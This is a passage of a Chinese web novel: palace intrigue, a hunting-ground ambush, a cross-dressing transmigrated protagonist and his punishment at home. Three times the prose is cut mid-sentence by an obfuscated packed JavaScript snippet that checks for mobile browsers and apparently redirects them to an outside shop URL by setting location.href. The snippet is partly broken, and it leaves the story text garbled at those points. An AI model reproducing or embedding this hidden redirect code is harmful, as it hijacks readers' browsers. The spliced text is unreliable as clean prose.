尽管一句话说得隐晦而莫名,沈幼青听懂了。 他是在和他说:不要走。 沈幼青心脏好像被针扎了一下,轻声细语:“我真的很快就会回来,这次决不会食言。” 薛故松开了他的手。 沈幼青呼出一口气,将草席盖在他身上,又找来几块大石头将洞穴口堵起来,只露出几道细缝。 做完这一切,他快步走向深林。 一路上比较顺利,摘下不少能吃的青果子,口感虽脆,但又酸又苦涩,不爽口。沈幼青平时嘴很挑的,但凡带着苦涩味的东西一律不吃,现下肚子太饿,能堪堪饱腹就行。 潮湿的泥地踏出一个又一个脚印,沈幼青终于发现了干净的水源,不是他挑,坑洼里的脏水他不敢喝,也不敢给生病的薛故喝。 他把别人坟前上供的瓷碗清洗干净,装满水,小心翼翼地双手捧好,准备打道回府。 这时,溪流下游那边传来窸窣的动静。 “这水还挺干净啊。” “快去禀告大将军,发现了一处干净的水。” 沈幼青暗道不好,他没戴面具,被人认出来就糟了。那人口中的大将军十之八九就是秦晖,光是对他以及薛故深恶痛绝,一旦碰上了不会有好下场。 “哎,老二,你看这里的脚印,有人来过。” 声音愈来愈近, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427137|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈幼青想要出去只能走那条道,其他路都是荆棘泥沼,树丛遍布,未开出过一条路,从中离开反而会闹出更大动静,打草惊蛇。 沈幼青只好择近躲在一棵粗大的树后,屏住呼吸。 刚一回头,一张秀美的脸出现在眼前。 “你——”那人嘴巴微张,眸中闪过讶异,像已经认出沈幼青来。 这不就是之前被他撞见和薛咎有私情的小太监嘛。 沈幼青明白什么是如履薄冰,他伸出一只手指立在嘴前,目光带着祈求。 前有薛咎的人,后有秦晖的人,进退两难。 “今天就是最后一日了,还没抓到定王,大将军方才还吩咐我一定要在明天之前找到他。” “啧,再找不到定王我们就要倒霉咯。” “你说为什么大将军非要在禁地动手?等出去了再慢慢计划不好吗?” “你个蠢的,当然得在禁地里杀了定王,出去哪有多少动手的机会?” “狩猎过程中不能杀人,若是大将军被查到了怎么办,杀害皇子是重罪,你我也得跟着一块死的。” “圣上又没说禁地不能杀人,定王死在禁地,就不会有被查到的一天的,放心吧。” “你就这么肯定?” 两道声音逼近,似还未停下。 快走到沈幼青所藏的树后时,小太监走了出去。 两人如临大敌:“什么人?” 林安胸牌为“咎”字,两人瞬间认出来是肃王的人,随即对视一眼,藏着杀意。 “奴才奉肃王殿下之命寻找定王,原来二位同殿下目的一致。”林安拱手道。 他话语中暗示既然我们目的都是一样的,就不要互相残杀了。 “肃王派你来的?” “正是。肃王殿下给奴才下了死令,一定要找到定王,想必二位也是一样。” 两人虽按捺下杀心,却并没有彻底放心,道:“那你可知定王藏在哪了?” 林安微笑回应:“一番探察后,已经有点眉目了,在水流上游西南方向,有脚印和血迹,应该是定王经过的地方,不信的话二位可随奴才前去查看。” “走。” 三人离开后,沈幼青从树后走出来,呼吸急促,单手靠在树上,双腿有些发软。 没想到反派之一的手下,居然救了自己。 沈幼青想了想,或许这小太监在回报他之前救他的那次吧。 原著中事关这个小太监,好像仅仅一笔带过,连名字都没注明。 不管这小太监有怎样的目的,沈幼青还是挺感谢他的。 他发现手中的瓷碗里的水洒了大半,心疼得不行,又重新打了一碗水,赶紧离开。 走错了几条岔路,沈幼青一路有惊无险,没有再撞上其他人。 回到洞穴,太阳冉冉西沉,郁郁葱葱的草木附上一层金色的光。 沈幼青走到洞穴前,石头已然碎了一地,像是被外物击碎的。 里面除了草席,和沈幼青留下的一些东西之外,空空如也。 人呢? 沈幼青眉头紧皱,忐忑不安起来。 19. 逃亡 沈幼青承认自己回来得稍微晚了点,但薛故怎么能一声不吭地就走了。让自己不要走,结果他人先不见了。 他忿忿地放下手中的碗。 穿行草丛的细微摩擦声传来,沈幼青当即藏住身影,举起匕首,仔细辨别声音方向。 来人一把剑插入泥地,单膝跪地,似要支撑不住。 他抹开嘴角溢出的鲜血,眼底留有几分戾气,露出碎发下那张五官深邃、棱角分明的脸。 沈幼青瞧清楚后径直走出来。 “你去哪了?” 薛故站起身,长剑入鞘。 霞光下那双茶色瞳孔微缩,泛起金色涟漪,逐渐收了戾气,对沈幼青浑身上下扫视一番,淡声道:“我还以为你走了。” “说好了不会食言,我就不可能走。再说,这里我也不熟悉,我离开你能去哪儿?” 沈幼青指着地上的瓷碗和摆了一地的果子,接着说:“喏,为了这些东西,把我累得够呛,还差点被秦晖的人发现。倒是你,我没回来怎么能自行离开?” 薛故走进洞穴,两人距离陡然拉近,沈幼青甚至能闻到他身上淡淡的苍兰香、血腥以及雨后泥土青草混合着的味道。 沈幼青不自在地移开目光。 他现在只要看见薛故就想起那个带有情欲和占有欲的吻。 “杀了几个人,顺便沿途放了几处信号。”薛故言简意赅。 轻描淡写的一句话,沈幼青却从感受到其中凶险。 但该说不说,薛故的身体挺强健的,受重伤的情况下还能维持住战斗力,那里那么大也不知道在床.上持久力如何。 “大抵一日之内元秋能找过来。” “大,什么大?”沈幼青下意识脱口而出。 薛故:“?” 沈幼青后知后觉,被自己口水呛得满脸通红。 完蛋,他现在听不得“大”字。 沈幼青吸了口气,“哈哈”干笑两声,随手拿了颗野果塞进嘴里,涩得入不了口,下一刻就吐出来:“好苦。” 薛故见他整张脸都皱了起来,也拿一颗,没什么情绪波动地吃完了。 沈幼青眨了眨眼:“不觉得苦吗?” “尚可。” 他差点忘了,薛故从小在边关长大,过的穷苦日子,打猎为生,食不果腹,后来被带回宫当了皇子,因皇帝不喜,底下的奴仆也懂得看眼色,在衣食住行上时有克扣,幸而薛故对吃食也不讲究挑剔,在吃人不吐骨头的深宫之中,安然活到现在。 “那你现在感觉如何?”沈幼青问他。 薛故顿了顿,抬眼道:“不舒服。” 沈幼青蹙起眉头,语气带着急切:“伤口裂开了是吗?那怎么办,我没有药了。” 薛故神色稍霁,靠着石壁,嘴角翘起很浅的弧度。 沈幼青还在旁边嘟嘟囔囔:“元秋怎么还不来啊……” 薛故闭目休养生息,闻言睁开眼:“不许提他。” 沈幼青反诘道:“怎么就不能提了?他再不来,你要是死在这里怎么办?我可不想给你收尸。” 说罢,察觉自己用词不当,又接着补充道:“没有冒犯殿下的意思,只是已经第三日了,秦晖不会放过这次机会的,元秋再不带着援兵来,我们俩都要命丧黄泉。” “我不会让你死的。”薛故的视线凝在他脸上,带着一丝不解。 沈幼青以为薛故不想因为受伤而被质疑实力,于是笑着吹捧几句:“我当然知道殿下英明神武、骁勇善战,谁来都打不过,只是怕有个万一嘛。” 薛故又重复一句:“我不会让你死的。”语气凝重而坚定,在空荡的洞穴内回荡着。 沈幼青心头一震,不说话了。 只是他没想到,口中的“万一”来得这么快。 夜幕低垂,虫鸣在树丛中来回穿梭,吹进山洞的风携着寒意。 一阵脚步声逐渐逼近,月光下兵器反射出道道银光。 薛故瞬间睁开眼睛,只是眼里空洞,没有聚焦。 沈幼青起身,压低声音:“有人来了。” 薛故却坐在那儿不动。 “你怎么了?”沈幼青发现了薛故身上不对劲的地方,凑近问他。 薛故:“你待在里面,不要出来。” 沈幼青在薛故眼前晃了晃手,心中的猜测此刻逐步得到证实——薛故看不见了。 怪不得一个全书武力值最高的人,会“折”在猎场之中,受到重挫,与下属走散。 书里的薛故根本没有出过这种问题,可为什么眼前之人会看不见了?而且还是突发性的,并不是一直都存在的病状。 他来不及问系统,忙不迭拉住薛故的衣袖:“你疯了?看不见还要跟他们打?” 薛故耳朵微动,对声音比常人敏感,虽目不视物,却找到出洞口的方向。 “在这里!” “来人,去禀报大人,已经找到了。” “是!” 白刃破风劈来,薛故拔剑抵住一击,旋即侧身躲开斜着穿刺而来的长矛。 沈幼青发现自己多虑了,薛故哪怕失明,实力虽不及平常,却也恐怖如斯。 几招下来,对面死了两人。 兵刃相接下,薛故伤口扯裂,反应也渐渐变慢。 对面有人发现异常,兴奋道:“拿弓箭来!” 只是下一刻,一块大石头从他后方袭来,虽歪了几寸,但也碰到了。 “什么人?” 沈幼青抛了抛手中的石头,“嘶”了一声,心下遗憾,只差一点点。 对面人少,目前还剩下五人。 沈幼青另一只手放在背后,握紧匕首。 他不会打架,力气也不够大,和别人硬碰硬肯定不行,上次杀了两个绑架他的人,也是他运气较好。 被打的人回过头,面目狰狞。 沈幼青拔腿就跑,跑向薛故的方向。 目前状况胶着,薛故负伤加上失明状态下,很快就体力不支,他们不能继续待在这里,也许不到一柱香这里就要多了一茬人。 “走。”沈幼青喊了一声。 薛故闻言“望”过来,动作还没停,手臂被划了一道又一道带血的口子,薛故反手劈砍过去,刺伤他的人霎时倒地身亡。 这种以命换命的打法着实让人触目惊心。转眼间,只剩下最后一个人了。 黑夜中,眼看着离得较远的敌人举起弓,尖锐的箭簇摩擦过弦。 沈幼青的心脏都提到嗓子眼:“左后方,小心箭!” 第一支箭,薛故躲过去了,射箭人暗骂几句,再次拉开弓。 沈幼青顾不得那么多,拉着薛故往暗处跑,果不其然,第二支箭没射准,钉入枝干之中。 沈幼青一边提醒薛故脚下,一边想着命真大,这也能活,此时第三支箭射出,欲对准薛故心脏的位置。 沈幼青倾身将薛故扑倒在地,那支箭最终射进沈幼青腿根处。 麻意袭来,沈幼青丝毫没感觉到痛楚,以为是被草木勾住了,看都不看拉着薛故继续跑。 不知跑了多久,同敌人甩开一段距离后,沈幼青停了下来,找了个隐蔽的旮旯地,拉着薛故坐下。 薛故单手按着眼睛,晃了一下头。 沈幼青急忙问道:“怎么样?还能看见吗?” 薛故缓缓睁开眼,瞳孔又恢复了之前的清明。 眼前之人嘴唇一张一合,碎发汗湿挟在耳后,眸里水光氤氲,眼圈透着红。 面容在他眼里愈发清晰,沈幼青眸光的温度烫人肺腑。 想亲。 “还是看不见吗?”沈幼青两根指头曲起,在薛故的脸正前方作袭击状。 “看得见。”薛故一把抓住他作乱的手,长睫轻垂,视线转向下方。 沈幼青腿根处,一根弓箭骇然横穿里面。 薛故瞳孔紧缩,手攥紧沈幼青,力度不经意放重,关节发白,手臂上的青筋凸起。 沈幼青循着薛故的视线,才发现了那支羽箭,郁闷道:“大概是方才卧倒的时候中箭的。”幸好有痛觉屏蔽,不然现在他肯定站都站不起来。 薛故喉咙滚动,本是舒展的眉梢顷刻一横,浑身紧绷,眼底的慌乱一目了然。 “是因为我。”薛故用着陈述语气,艰难地吐出几个字。 沈幼青很想点头,心想:对,就是因为你,救了你一次,就给我念着这份恩情!要是以后要是产生想杀我,或者对我动刑的念头,我就露出这里的伤,让你无地自容,自觉不配为人! 可触及薛故无措的眼神,沈幼青到嘴边的话又变成:“一时情急嘛,就挡了一下。殿下不必内疚,如果没有殿下在身边,我可能死八百回了。” 他弯下腰,别过脸,随之伸手要去拔箭。箭插在上面看着瘆人,太不美观了。 “别动。”薛故在自己身上撕掉一片干净布料。 沈幼青以前惯不会忍痛,见薛故神色凛然,他止住话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427138|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,故意发出吸气的声音。 他大部分时候演技挺烂的,所以薛故一眼看穿,可此刻薛故一心处理他的伤口,竟没多说些什么。 割开裹住他腿根的骑射服下衣,腿根伤口四周裸露在空气中,白得晃眼。 沈幼青惊呼一声:“等一下!” 不能继续下去了,要是被发现他是男人更是雪上加霜,得死在这荒郊野岭的乱葬岗。 薛故没理他,长剑削去了箭的另一头,只留下深入肉里短短的箭簇。 “好痛。”沈幼青咬着下唇。 薛故果然停下了。只是,他的脸色很差。 “我自己来吧。”沈幼青用祈求的眼神看着他。 薛故一言未发,背过身去。 沈幼青忍着亲自处理伤口的惧意,但更怕薛故替他处理,快速解决的同时,不忘继续演戏。 翌日,沈幼青醒来时,发现自己头枕在薛故腿上,身上盖了一层外袍,再一看薛故,正沉睡中,只穿了身里衣。 系统又“叮”了一声:“恭喜宿主完成任务,200积分已发放。” 沈幼青:“……” 他前几天本幻想着一觉睡醒无痛获得二百积分,原来是这个“无痛”。 沈幼青丝毫开心不起来,问:“为什么这个节点跟原著剧情不一样?还有薛故双目偶发失明是什么原因?” 系统:“抱歉,任务一直按照原著剧情节点展开,也许是宿主偶然间改变了什么呢?” 沈幼青愣怔片刻。 是因为“一只蝴蝶翅膀的振动”,哪怕按照原著走了也依旧会发生改变吗? 就如同已经坠河死掉的李胥一般。 沈幼青叹了口气。 幸而确实如薛故所说,一日之内,元秋带着人找过来了。 元秋跪下谢罪,说来迟了。 沈幼青不住地点头:“确实来得太迟了,你知道吗,我们差点死在这儿,该罚!” 元秋见他也是浑身狼狈,走不了路,没生气,自告奋勇说要背他回去,替定王解决麻烦。 沈幼青瞠目结舌。 不过他早就摸清元秋的性子,自幼跟在薛故身边,不通人事,从来不讲究什么男女大防,大抵爱剑胜过爱女人,哪怕以为沈幼青是“女子”,也没把他当作“女子”去看待,所以没过脑子就说要背沈幼青回去。 薛故幽幽地看了元秋一眼。 元秋觉得后颈钻风,却不知道风从何而来。 “还有面具吗,我面具丢了。” 元秋从怀里掏出一副新面具:“我这里挺多的。” 确实多,看来都是随时分发给薛故培养的死士的,还随身带着。 薛故草草处理完伤口,不由分说背着沈幼青离开。 沈幼青趴在他背上,看了一圈周围除了元秋都目不斜视的下属,轻咳了一声。 元秋提醒:“殿下,你的伤还没好。” 沈幼青也不想让受伤的人背自己,耳语时温热的呼吸打在薛故耳廓:“殿下,我真的没事,可以自己走。” 薛故背部一僵,却装作没听见似的,若无其事地背着沈幼青继续走。 元秋摸不着头脑,完全不明白殿下为何要亲自上阵,自找麻烦。旁边的随从狠狠扯他的衣袖,五官都要挤在一起,心中直叹气,用唇语暗示:“不要打扰殿下!” 走入皇家猎区,沈幼青才发觉自己之前一直在禁地打转。 薛故失明复发,误入禁地,而沈幼青被关的木屋也在禁地,秦晖封锁了出路之后,他就一直在禁地弯弯绕绕也找不着出口。 一路上,薛故面色阴沉,沈幼青故意说几句玩笑话,薛故也没搭理他。 沈幼青察觉出,薛故应是在生气。 直到一道又尖锐又细的嗓音传来:“苍天保佑,苍天保佑……殿下啊,奴才们找得您好苦!圣上知晓殿下失踪,都急坏了,食不下咽,派奴才们过来搜寻,一定要找到殿下。等等,殿下怎么受伤了……” 高太监引着两排人站定,大声哀嚎着,如丧考妣,滴溜转的眼珠子瞧见薛故背上睡眼惺忪的人后,登时双目凌睁。 这不是沈……沈太傅的女儿吗? “找一顶轿子,还有,管住你的舌头。”薛故冷声道。 高太监强撑着笑容,忙不迭点头称是。 薛故威胁他时神色可怖,眼底杀意暗涌,高太监是个有脑子且识时务的,他敢肯定,自己如果多嘴,保不齐出去就是一具尸体。 20. 家法 回到营帐,皇帝派来了宫里随侍的太医,让薛故先好好休息,说定会查出猎场刺杀一案的真凶,给薛故一个说法。 沈幼青腹诽,这老皇帝说得好听,背地里指不定怎么幸灾乐祸呢。 老皇帝从始至终没想过把皇位继承给一个流淌着外族血脉的薛故,可薛故目前呼声最高,朝廷已经有不少人悄悄站队,惹得他心生不快。 现在有人能挫一挫薛故的锐气,是谁不重要,关键是能让薛故元气大伤,逐步退出立储之争。 太医拎着木箱走进营帐,刚要上前给薛故看伤,只听薛故让他先给旁边那个戴着面具的瘦弱少年重新处理伤口。 哪有宫里御医给下属看病的道理,太医眼观鼻鼻观心:“这……” 薛故冷冷扫了他一眼。 太医擦了擦鬓边沁出的汗:“是是!” 沈幼青受伤的部位在腿根,之前只包扎止血,不敢擅自拔掉箭镞。 薛故特意吩咐太医敷上麻药,随即出了营帐。太医手法很好,顺利拔出箭镞,看着沈幼青无精打采的面容,多问了句:“我看阁下有气虚体寒之兆,是否经常染病?” 沈幼青点头,不欲接话。 太医却起了兴致要顺便给他把脉看看,沈幼青使劲摇头:“多谢太医好意,不过不用了,太医还是赶紧去看看定王殿下吧,他伤得很重。” 太医没想到会被拒绝,毕竟他们这些人平常哪有能接触到御医,甚至是得御医救治的机会,正常人都不会拒绝。 沈幼青语气太过诚恳,太医也不好说什么。 过了一柱香时间,沈幼青不在营帐内,太医随口跟薛故提了一句,他那位下属拒绝自己诊病。 薛故沉默良久,问:“太医能看出本王属下身上有什么病症吗?” “望闻问切”是每个医师的看家本领,只是没有诊脉,太医也说不出具体来:“应是娘胎里带出来的体弱,每日辅以中药调理会大有裨益,至于其他病情下官也不清楚,还得把脉观察。” 薛故点头,以示自己知道了。 三日游猎结束,帝王大开宴席,与臣子同乐,分食烤熟的猎物,把酒痛饮。 皇帝先是慰问一番薛故,送了些赏赐,接着痛批负责此次春猎的卫尉和郎中令,各打二十大板,罚了两年俸禄以示惩戒。 薛故对此没什么表示。 秦晖举盏,对着薛故隔空敬了杯酒,眼底掠过戏谑,道:“殿下受罪了,这杯酒敬殿下,祝早日找到真凶。” 秦晖敢在皇家地盘出手,也是在试探皇帝的底线以及对薛故的态度,了结心头之恨的同时,为他背后支持的党派铲除潜在威胁。 虽没能将薛故一击必杀,但也发现了薛故的弱点,以及试探出皇帝心里并未多看重薛故,没有把他当成储君去培养。 他派去的人只剩下一个,其他皆死在禁地,不可惜,至少有收获。 他和被罚的卫尉暗地里是属于同一个党派,坚定由皇后唯一的儿子,四皇子继承皇位。有了卫尉帮助,禁地里的证据自然被销毁得干干净净,无后顾之忧。 正常人被这般挑衅早就掀桌而起了,薛故遥遥举杯,以茶代酒,神色自若,看不出一点戾气,淡漠出声:“大将军可一定要等到那天。” 这边欢声笑语,热闹非凡,营帐内的沈幼青苦巴巴地望着元秋手里炙烤完毕的兔肉,洒上佐料,香喷喷的,外皮金黄酥脆,几欲流油。 “让我吃一块,就一块行不行?” “殿下说了,你这几日不能沾荤腥,老老实实吃这煮好的红豆羹吧。”元秋冷酷拒绝沈幼青的祈求。 沈幼青没好气地坐回去。 从猎场出来之后,薛故莫名不怎么说话了,以前话也不多,可这次很奇怪。查了下心情指数,低得离谱,数值接近0。 “元秋,你有没有觉得,殿下这几天不太高兴?” 元秋理所当然道:“受了伤谁会高兴。” 沈幼青不争气地看了他一眼。 就猜到问元秋一点用没有。 想起薛故失明的事情,沈幼青换了个说法,套元秋的话:“也是,换成我目不视物,我也高兴不起来。” 元秋停了啃肉的动作:“你知道了?” 沈幼青叹了口气:“殿下都告诉我了,年纪轻轻的,怎么就……”像是不忍说下去,继续喝碗里的红豆羹。 元秋也跟着叹息道:“是啊,当年殿下中了一支毒箭,却急于杀敌,没有及时解毒,毒素没有彻底肃清,留下了后遗症。” 沈幼青心头一震:“那还能治好吗?” 原著中没有这段中毒箭的情节。 元秋道:“不过也不用过于担心,如今已经鲜少复发了,猎场是个例外。” 沈幼青没心情吃下去,一直以来仗着记性好,对原著情节了如指掌,是他保命的金手指,可现实里的情节常常超出原著的范围,上下波动,意外频发。 可不管怎样,他都要继续走剧情,凑够积分然后回家。 想清楚后,沈幼青决定不去过于干涉剧情,越深入其中以后越难以抽身而退。 春猎结束,沈幼青养了几天伤,就向薛故请辞。 “殿下,我前些天已经在信里让府里的侍从来明台山接我,殿下不必派人送我回去了。” 薛故看他良久,不置可否。 久到沈幼青再次重复一遍。 薛故最终什么都没说。 沈幼青不明所以,拱手告辞,离开营帐前,听见身后低沉微哑的声音。 “抱歉。” 沈幼青身体一怔。 “让你受伤了。” 沈幼青终于明白,这几天薛故不高兴是因为这件事。 “还疼吗?” 沈幼青不太适应这直白的关心,眨了眨眼,道:“不疼了。”想到什么,又接着补充一句,“殿下不必内疚,如果没有殿下带我破出重围,我可能早就死在那群人手里了。” 也不知道这安慰有没有效果,这是沈幼青第一次看到去掉棱角,毫无攻击性的薛故。 哪怕是上次滚烫的吻,也全是带有攻击性,侵占欲的。 * 沈幼青坐在自家的马车里,频频叹气。 桃金见他魂不守舍,问道:“少爷这些天过得如何?” “此事说来话长。”沈幼青刚要长篇大论,柳银在旁边面无表情道:“家主很生气,说待少爷归家,家法伺候。” 沈幼青摆摆手。不用他说,他都知道太傅能气成啥样。 夜里,沈幼青走进前堂,沈夫人焦急皱起的眉毛在看见沈幼青的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427139|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影后舒展开了。 “晓晓。” 沈太傅遣散了几个仆人,让他们回去休息。 沈幼青当机立断,干脆利落地往地一跪:“我错了。” 沈太傅吹胡子瞪眼:“错哪了?” “不该去胜仙阁,不该住在定王府,也不该去皇家猎场。”沈幼青故作痛心疾首地一一数落自己的错误,然而并没有用。 “你现在是女子身份,有未婚夫的同时住在定王府里,别人知道了怎么想,不讲礼义廉耻就算了,要是暴露身份我们全家遭殃。你还跟着定王去到处厮混,他现在被多少人盯着,稍有不慎就有危险,你知道你娘多担心吗?” 沈幼青低着头委屈道:“我知道错了,以后不会了。” 被太傅痛骂一顿说不难过是不可能的。他也不想做这些别人看来难以理解的事情,他也不想一生来就要扮成女子,日日胆战心惊。 沈母心疼道:“正初,你别说了。如果不是我们改了晓晓的性别,他现在也是跟正常孩子一样到处疯玩的年纪。” 沈太傅这才收敛了些脾气,喊了个外面当差的奴仆:“带下去,棍棒这次免了,但得给我跪在祠堂里反省一晚上,然后把礼记抄五遍再出来。” 沈幼青像蔫了的花似的垂下脑袋,他宁愿被打几棍子,也不想抄书啊! 立下的惩罚已经减轻,沈母也不好多说些什么。 还没唠几句家常,沈幼青就被带去了沈家后院最靠外边的祠堂。 夜色朦胧,祠堂里的烛火黯淡,短烛吐着像快要流尽泪珠的蜡,映射在墙壁的光摇摆不定。 沈幼青找了个舒服的垫子放在膝盖下,整个身子靠在朱漆长柱上,昏昏欲睡中,不知过了多久,他眼睛沉沉闭上。 差点摔倒之际,被一道黑影扶起,稳住身形后,将他抱至祠堂里屋的榻上。 动作很轻,沈幼青完全没被吵醒。 他做了一个梦,梦中再现木屋里的画面,他举起匕首,矮瘦男人和刀疤脸步步逼近,他怎么也不敢刺下去。 狂风大作,暴雨如注。 刀疤脸阴笑着,闪电照亮了他手中淋血的长刀,恍若下一刻就要朝他直直劈过来。 “你敢杀我吗?” 梦境里沈幼青直面内心深处最为恐惧的经历,之前极端情况下发挥作用的匕首此刻怎么也动不了。 他浑身哆嗦着,蜷缩在榻上。 黑影坐在旁边,抚过沈幼青的手腕,传送内力,一股暖流蜿蜒而下,流经之地,骨髓里的寒意都放佛被驱散。 半个时辰后,桃金不顾平日里的维持的礼数,踩着没完全穿进去的绣鞋,“噔噔噔”地爬上阶梯,双手推开祠堂大门。 “少爷,你可以回去了!” 沈幼青缓缓睁眼,还未完全清醒,嘴里嘀咕着。 “少爷怎么睡这?” 榻比较小,只能放下大半个身子。 “少爷,醒醒,可以回去睡了。” 沈幼逐渐恢复意识,慢吞吞道:“别闹,我还在关禁闭呢,怎么一觉醒来就结束了?” 发觉自己睡在榻上后,沈幼青努力回想睡之前是不是太困了自己跑过来的。 桃金跺了下脚:“刚刚定王派人过来,不知道说了什么,总之,家主说责罚免了。” 21. 禁闭 还有这等好事? 沈幼青一直清楚他亲爹是个做了决定就很难动摇的人,从前下定决心隐瞒他的性别后就不曾后悔,说要关他三个月禁闭就不会低于三个月,没有生气的时候对他睁一只眼闭一只眼,可这次,是动真格了。 他想如果自己跟正常男子一样身体强健,那棍子就要打在自己身上了。 “真的吗?”沈幼青神情恍惚。 桃金喜笑颜开:“自然,我怎么敢欺瞒少爷。”想起薛故,桃金挠了挠脸颊,不解,“不过少爷跟定王不是早就断了嘛,为何他会找人过来为少爷说情?” 府宅里除了他爹娘和亲信,其余人皆对他失踪半个月的事不知情,桃金发现沈幼青迟迟没有归家,怕他出意外或者惹上什么事情,不敢大张旗鼓地去找,最后实在没有办法只好告知沈太傅。 再加上当时胜仙阁出了状况,更加不能声张,直到收到定王府写来的信件后,太傅才放下心,对外说沈幼青去亲戚家住了段时间。 桃金到现在还不知道他去了哪。 “因为我是他的救命恩人。”沈幼青抬起下巴,表情嘚瑟。 “难道少爷之前失踪是因为被定王掳走了吗?”桃金越想越觉得自己猜测得很对,少爷平时出门再晚也会当天回来,从不在外面逗留,这次却一声不响地消失了半个多月。 “……” 桃金情绪激动:“少爷,你受苦了,亏我之前还在少爷面前夸他厉害,没想到他是这种人!” 沈幼青:“停。跟他没关系,我只是突发意外在定王府借宿了一段时间。” 至于发生了什么意外,桃金问了许久,沈幼青怎么都不肯说。 沈太傅后面又把沈幼青喊过去,打量一番后,神色复杂地让沈幼青以后不许跟定王来往。 沈幼青打了个呵欠:“为何?” “你现在名义上有未婚夫了,不要节外生枝。”沈太傅用词委婉,但沈幼青能听出来在提醒他不要想着脚踏两条船,薛故不是他能惹的。 “我真没那个意思……” 沈太傅不听他辩解,干咳一声,问道:“定王派人跟我说你为了救他受了伤。你的伤现在怎么样了?” “小伤,已经不痛了。”沈幼青自然不敢告诉他爹自己受伤的程度,虽然不痛,可扯开衣服一看,伤口还挺吓人的。 沈太傅见他的确不像有事的样子,就没有多问。 “定王还说了什么?” 沈太傅瞪眼道:“送来了一些补品,你还想听他说什么?” “没什么没什么。”沈幼青松了口气,他来之前还怕薛故说了些不该说的。 免于在祠堂抄书自省的责罚,但依旧被下令关一个月禁闭,这次连柳银都不能帮他出去,桃金和柳银被他连累,同他一道受罚,待在沈幼青居住的岚苑,一个月内不得出院。 没有任务在身,其实大部分时候沈幼青是享受这种躺平的日子,每天睡了醒,醒了吃,吃完上榻看话本解闷,偶尔主仆三人打打扑克,斗斗蟋蟀,时间过得飞快,空气中暑热渐渐蔓延开来。 蝉鸣刺耳,毒辣的太阳一会儿就晒干被家仆清水洒过的地面。 沈幼青再次从梦中惊醒,大汗淋漓。 回来之后,他开始隔三岔五做着不断回溯杀人场景的噩梦,换了其他有安眠作用的熏香后,噩梦仍旧在某个夜晚如期拜访。 沈幼青受够了。 禁闭临近结束,他每天吃好喝好,不仅没胖,反而削瘦几分,脸颊肉少了些许。 李胥上门探望的时候,府里门卫本以沈幼青生病做借口拒绝,沈幼青得到消息后,让桃金前去接李胥过来。 桃金不情不愿地照做。 她想不通,少爷以前烦李胥烦得不行,见一面都找各种理由推脱,如今却换了一副态度。 厢房里只剩下两个人。 李胥待其他人走后,锁好门,急吼吼拉住沈幼青的袖子,道:“沈老弟,怎么办啊,我摊上大事了。” 沈幼青一把推开他:“别叫我沈老弟,难听死了。” “那,老妹?” 沈幼青:“……” 他给李胥沏壶茶,示意他坐下说。 “我爹给我在兵部讨了个赋闲的职位,一直风平浪静的,结果前几日郢州有富商被山寨子里的土匪劫财,商户与人起了争执,全家死于土匪之手,郢州的官员平定匪乱时也折进去了,知府那边只好上奏皇帝,请人前去剿匪。皇帝问了一圈都没人自愿去,毕竟穷山恶水,那边天气还炎热……之后皇帝询问薛故意见,薛故居然向皇帝举荐了我!” 李胥锤了一下桌面,接着双手抱头痛苦道:“我这次估计真活不成了,所以特此走之前跟你说会儿遗言。” 沈幼青噗嗤笑出声:“你被自己写的男主送上绝路了。” 李胥震惊:“你怎么笑得出来的?我真的快要死了!” “咳咳,冷静,冷静。”沈幼青镇定道,“你先想一下自己是不是哪里得罪薛故了,不然他好端端推荐你干嘛?” “你这妥妥的受害者有罪论,我要对你进行谴责!” 说到此处,沈幼青思绪忽然清明,他好像知道薛故为什么突然针对李胥了,大概率是自己的锅。 沈幼青心虚道:“你父亲不是武安候吗,让他替你出面拒绝不行吗?” 李胥痛心疾首:“自此我跟他说我失忆后,不像他以前的儿子那样惹是生非,吃喝嫖赌,于是他老人家竟然觉得我是后起之秀,笨鸟后飞,对我一直培养下去,假以时日能堪大任,所以就派了几个心腹手下保护我,让我安心去。” 沈幼青接着他的话茬道:“但他老人家没想到这个剿匪任务,在你笔下是个除了薛故之外谁去都得亡命的任务。” 李胥长叹一口气。 “天要亡我。” “别急,说不定还有一线生机,我帮你试试看能不能劝动他。” “你劝谁,皇帝?” 沈幼青用看痴呆的眼神:“男主啊。” 李胥猛地一拍大腿,站起身双手撑在桌面:“你找他?开什么玩笑,你能劝得动薛故?你忘了上次庆功宴,他对你说了什么吗?我俩现在是一根绳上的蚂蚱,我倒霉意味着你也要倒霉。” “谁跟你一条绳。我之前让你跟我说说番外写了啥,你全都藏着掖着。”沈幼青哼了一声。 之前想找李胥谈话没什么机会,现在可算是找到了。 